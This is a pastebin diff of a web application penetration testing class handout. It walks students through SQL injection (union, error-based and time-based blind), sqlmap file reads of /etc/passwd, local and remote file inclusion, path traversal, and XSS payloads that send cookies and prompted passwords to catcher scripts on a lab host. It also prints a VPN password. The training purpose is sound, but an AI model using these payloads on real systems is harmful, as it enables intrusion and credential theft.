View difference between Paste ID: nVzsHCvJ and L2rCvk5q

-####################
+###########################################
-# Ultimate App Sec #
+# Advanced Web App Pentester Night School #
-####################
+###########################################
 
 
-Download the course slides:
+
-https://s3.amazonaws.com/StrategicSec-Files/UltimateAppSec/UltimateAppSec-Week1.pptx
+
-http://www.slideshare.net/akilan27/ilugc-curl
+
-http://www.slideshare.net/cory_scott/tactical-application-security-getting-stuff-done-black-hat-briefings-2015
+
 #########################
 # Class Virtual Machine #
-Download the course lab manual:
+
-https://s3.amazonaws.com/StrategicSec-Files/UltimateAppSec/Ultimate-App-Sec-V2.pdf
+
 
 Here is the VMWare virtual machine for the class:
-Day 1 (12 Oct class video):
+
-https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-10-12+18.03+Ultimate+Web+App+Sec.mp4
+https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
 user:      infosecaddicts
 pass:      infosecaddicts
-Day 2 (14 Oct class video):
+
-https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-10-14+18.03+Ultimate+Web+App+Sec.mp4
+
 Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
 If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
-Day 3 (21 Oct class video):
+
-https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-10-21+18.07+Ultimate+Web+App+Sec.mp4
+
 
 
-Day 4: (9 Nov class video):
+So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
-https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-11-09+18.08+Ultimate+Web+App+Sec.mp4
+https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
 vpn username: {first_initial.last_name}  example: j.mccray
 vpn password: !@#$vpn4321VPN
-Web App Pentester Night School 2016
+
-https://s3.amazonaws.com/StrategicSec-Videos/2016/2016-02-01+18.15+Web+App+Pentester+Night+School+January+2016.mp4
+
-https://s3.amazonaws.com/StrategicSec-Videos/2016/2016-02-03+18.10+Web+App+Pentester+Night+School+January+2016.mp4
+
 If you wants some scanning tips you should take a look at the following document:
 https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf
-Download VMWare Player if you are not currently running a version of Vmware that is newer than VMWare Workstation 11, Vmware Fusion 7, or Vmware Player 11. VMWare Player is free and you download it from here:
+
-https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0
+
 #######################
 # Attacking PHP/MySQL #
 #######################
-Download the course virtual machines:
+
-https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
+Go to LAMP Target homepage in Firefox
-username:    strategicsec
+---------------------------Paste this into Firefox-----------------------------------
-password:    strategicsec
+http://45.63.104.73/
 -------------------------------------------------------------------------------------
 
 
-Start with simple Firefox Addons:
+Clicking on the Acer Link will take you to this page:
 ---------------------------Paste this into Firefox-----------------------------------
-- ShowIP				https://addons.mozilla.org/en-US/firefox/addon/showip/
+http://45.63.104.73/acre2.php?lap=acer
-- Server Spy			https://addons.mozilla.org/en-US/firefox/addon/server-spy/
+-------------------------------------------------------------------------------------
-- FoxyProxy				https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
+
-- Tamper Data			https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
+
-- Wapalyzer				https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
+	- Found parameter passing (answer yes to question 1)
 	- Insert ' to test for SQLI
-A good list of web app testing add ons for Firefox:
+
-https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
+---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer'
 -------------------------------------------------------------------------------------
 
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
 
 
-##################################
+
-# Basic: Web Application Testing #
+In order to perform union-based sql injection - we must first determine the number of columns in this query.
-##################################
+We do this using the ORDER BY
 ---------------------------Paste this into Firefox-----------------------------------
-Most people are going to tell you reference the OWASP Testing guide.
+http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
-https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
+-------------------------------------------------------------------------------------
 Page returns the following error:
-I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
+Unknown column '100' in 'order clause'
 
 
-The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
+---------------------------Paste this into Firefox-----------------------------------
-
+http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
-	1. Does the website talk to a DB?
+-------------------------------------------------------------------------------------
-		- Look for parameter passing (ex: site.com/page.php?id=4)
+Page returns the following error:
-		- If yes - try SQL Injection
+Unknown column '50' in 'order clause'
 
-	2. Can I or someone else see what I type?
+
-		- If yes - try XSS
+---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
-	3. Does the page reference a file?
+-------------------------------------------------------------------------------------
-		- If yes - try LFI/RFI
+Page returns the following error:
 Unknown column '25' in 'order clause'
-Let's start with some manual testing against 54.213.252.28
+
 
 ---------------------------Paste this into Firefox-----------------------------------
-Start here:
+http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
-http://54.213.252.28/
+-------------------------------------------------------------------------------------
 Page returns the following error:
 Unknown column '50' in 'order clause'
-There's no parameter passing on the home page so the answer to question 1 is NO.
+
-There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
+
 ---------------------------Paste this into Firefox-----------------------------------
-Try an XSS in the search box on the home page:
+http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
-<script>alert(123);</script>
+-------------------------------------------------------------------------------------
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
-Doing this gives us the following in the address bar:
+
-http://54.213.252.28/BasicSearch.aspx?Word=<script>alert(123);</script>
+
 
-Ok, so we've verified that there is XSS in the search box.
+Now we build out the union all select statement with the correct number of columns
 
-Let's move on to the search box in the left of the page.
+Reference:
 http://www.techonthenet.com/sql/union.php
-Let's give the newsletter signup box a shot
+
 
-Moving on to the login page.
+---------------------------Paste this into Firefox-----------------------------------
-http://54.213.252.28/login.aspx
+http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
 -------------------------------------------------------------------------------------
-I entered a single quote (') for both the user name and the password. I got the following error:
+
 
------------------------------------------------------------------
+
- 'Users//User[@Name=''' and @Password=''']' has an invalid token.
+Now we negate the parameter value 'acer' by turning into the word 'null':
-Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
+---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
-Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
+-------------------------------------------------------------------------------------
 
-Source Error:
+We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
-Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
+Use a cheat sheet for syntax:
-Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
+http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
-Line 114:            XmlNodeList xmln = doc.SelectNodes(credential);
+
-Line 115:            //String test = xmln.ToString();
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-Line 116:            if (xmln.Count > 0)
+http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
------------------------------------------------------------------
+http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
-Hmm....System.Xml.XPath.XPathException.....that's not SQL.
+
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
-WTF is this:
+
-Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
+
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
 -------------------------------------------------------------------------------------
 
 
-In this case you'll have the trap the request with a proxy like:
+
-- Firefox Tamper Data
+########################
-- Burp Suite				http://www.portswigger.net/Burp/proxy.html
+# Question I get a lot #
-- WebScarab				https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
+########################
-- Rat Proxy				https://code.google.com/p/ratproxy/
+Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
-- Zap Proxy				https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
+
-- Paros					http://sourceforge.net/projects/paros/
+Here is a good reference for it:
 https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
 
 Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
-Let's go back to that page error message.....
+
 
 
-Let's check it out:
+
-http://54.213.252.28/AuthInfo.xml
+Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
 ---------------------------Paste this into Firefox-----------------------------------
-Looks like we found passwords!!!!!!!!!!
+http://45.63.104.73/showfile.php?filename=about.txt
 -------------------------------------------------------------------------------------
 
-Looks like there no significant new functionality after logging in with the stolen credentials.
+
 See if you can read files on the file system:
-Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
+---------------------------Paste this into Firefox-----------------------------------
 http://45.63.104.73/showfile.php?filename=/etc/passwd
 -------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2
+
 We call this attack a Local File Include or LFI.
 
-Ok, there is parameter passing (bookdetail.aspx?id=2).
+Now let's find some text out on the internet somewhere:
 ---------------------------Paste this into Firefox-----------------------------------
-The page name is:		bookdetail.aspx
+https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
-The parameter name is:		id
+-------------------------------------------------------------------------------------
-The paramber value is:		2
+
 Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
 ---------------------------Paste this into Firefox-----------------------------------
-Let's try throwing a single quote (') in there:
+http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
 -------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2'
+
 -----------------Some Automated Testing from the infosecaddicts VM-----------------
 
-I get the following error:
+##################################################
 # You can download the virtual machine from here #
-Unclosed quotation mark after the character string ''.
+##################################################
-Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
+https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
 user:      infosecaddicts
-Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
+pass:      infosecaddicts
 
 
 -------------------------Type each of these commands---------------------------------
 cd ~/toolz/sqlmap-dev/
 
 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" -b -v 3
 
 
 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-user -v 3
 
-#############################################################################
+
-# SQL Injection                                                             #
+python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-db -v 3
-# https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
+
-#############################################################################
+
 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --privileges -v 3
 
-- Another quick way to test for SQLI is to remove the paramter value
+
 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --dbs -v 3
 
 
 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --tables -v 3
 
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
+
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
+python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/issue -v 3
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
+
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
+
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
+python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	NOTE: "N" - just means to keep going until you run out of databases
+-------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
+
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
+
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
+
 
 #############################
 # Error-Based SQL Injection #
 #############################
 ---------------------------Paste each of the lines below into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
-http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
-http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
+-------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
+
-http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
+
 
-	We are using a union select statement because we are joining the developer's query with one of our own.
+
-	Reference:
+
-	http://www.techonthenet.com/sql/union.php
+
-	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-	It removes duplicate rows between the various SELECT statements.
+http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
-	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
+http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
-http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
+http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
-	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
+http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
-http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
+http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
-http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
+http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
-http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
+-------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
+    We are using a union select statement because we are joining the developer's query with one of our own.
     Reference:
     http://www.techonthenet.com/sql/union.php
     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
     It removes duplicate rows between the various SELECT statements.
 
     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 ---------------------------Paste this into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 -------------------------------------------------------------------------------------
     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
-
+
 ---------------------------Paste each of the lines below into Firefox-----------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
-http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
-http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 -------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
+
 
 
 
 - Another way is to see if you can get the backend to perform an arithmetic function
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
+http://45.77.162.239/bookdetail.aspx?id=(2)
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
+http://45.77.162.239/bookdetail.aspx?id=(4-2)
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
+http://45.77.162.239/bookdetail.aspx?id=(4-1)
 -------------------------------------------------------------------------------------
 
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
+http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
 http://45.77.162.239/bookdetail.aspx?id=1*1
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
+http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
+http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
+http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
+http://45.77.162.239/bookdetail.aspx?id=2 &0#
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
+-------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
+
 
 
 
 ###############################
 # Blind SQL Injection Testing #
-# Arithmetic logic testing #
+
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
-http://54.213.252.28/bookdetail.aspx?id=(2)
+
-http://54.213.252.28/bookdetail.aspx?id=(4-2)
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-http://54.213.252.28/bookdetail.aspx?id=(4-1)
+http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
-http://54.213.252.28/bookdetail.aspx?id=(2*2)
+http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-http://54.213.252.28/bookdetail.aspx?id=(8/2)
+http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
-http://54.213.252.28/bookdetail.aspx?id=(2%2B1)
+-------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=(2%2B2)
+
 http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
-# True/False logic testing #
+
 D  - 1st Character
-http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
-http://54.213.252.28/bookdetail.aspx?id=1*1
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
-http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
-http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
+-------------------------------------------------------------------------------------
-http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
+
-http://54.213.252.28/bookdetail.aspx?id=2 &0#
+
-http://54.213.252.28/bookdetail.aspx?id=2 |-1#
+---------------------------Paste each of the lines below into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 -------------------------------------------------------------------------------------
 
 O - 3rd Character
-###################################################################
+---------------------------Paste each of the lines below into Firefox-----------------------------------
-# What is XSS                                                     #
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-# https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
-###################################################################
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 -------------------------------------------------------------------------------------
-    http://54.172.112.249/xss_practice/
+
 
 
 ************************ Class Homework ************************
 
 Perform a mock penetration test against http://45.63.104.73 using what you have learned in this pastebin.
 
 You don't need to document it for me, but go through the steps for your own understanding.
 
 
 
 
 
-    Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
+************************ Class Challenge ************************
 
 Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
 
 Here are some sample web app penetration test reports from other companies that you can look at:
 https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
 
 I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
 
-    Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
+
 ###############################################################################
 # What is XSS                                                                 #
 # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
-    <script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="+document.cookie</script>
+###############################################################################
 
 OK - what is Cross Site Scripting (XSS)
 
 1. Use Firefox to browse to the following location:
     ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/
-    http://54.172.112.249/xss_practice/cookie_stealer_logs.html
+    -------------------------------------------------------------------------------------
     A really simple search page that is vulnerable should come up.
 
 
 
 
 2. In the search box type:
 
     <script>alert('So this is XSS')</script>
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 
 3. In the search box type:
 
     <script>alert(document.cookie)</script>
 
 
-    http://54.172.112.249/xss_practice/
+
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 4. Now replace that alert script with:
 
     <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
 
 
-Option 1
+
---------
+
 
 5. Now view the stolen cookie at:
     ---------------------------Paste this into Firefox-----------------------------------
-document.write("<img src=\"http://54.172.112.249/xss_practice/passwordgrabber.php?password=" +password+"\">");
+    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
     -------------------------------------------------------------------------------------
 
 The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
 
-    http://54.172.112.249/xss_practice/passwords.html
+
 
 
 
-Option 2
+
---------
+
 # A Better Way To Demo XSS #
-username=prompt('Please enter your username',' ');
+
-password=prompt('Please enter your password',' ');
+
-document.write("<img src=\"http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
+
 Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
 
 
 Use Firefox to browse to the following location:
     ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/
-http://54.172.112.249/xss_practice/username_password_logs.html
+    -------------------------------------------------------------------------------------
 
 
 Paste this in the search box
 ----------------------------
-#########################################
+
-# Let's kick it up a notch with ASP.NET #
+
-# http://54.200.178.220/                #
+
-#########################################
+
 password=prompt('Your session is expired. Please enter your password to continue',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
-The trading Web App is on http://54.200.178.220/
+
 
 
-Try the following in the search box:
+
-	<script>alert(123);</script>
+    ---------------------------Paste this into Firefox-----------------------------------
-	' or 1=1
+    http://45.63.104.73/xss_practice/passwords.html
-	' and a=a
+    -------------------------------------------------------------------------------------
-	1=1
+
-	Joe'+OR+1=1;--
+
 
 ###############################################################
-	<script>alert(123);</script>
+# Question 1: What is the process that you use when you test? #
-
+###############################################################
-Open a new tab in firefox and try this:
+
-	http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
+Step 1: Automated Testing
 
 Step 1a: Web Application vulnerability scanners
-Try the contact us form.
+-----------------------------------------------
-Open a new tab in firefox and try this:
+- Run two (2) unauthenticated vulnerability scans against the target
-	http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
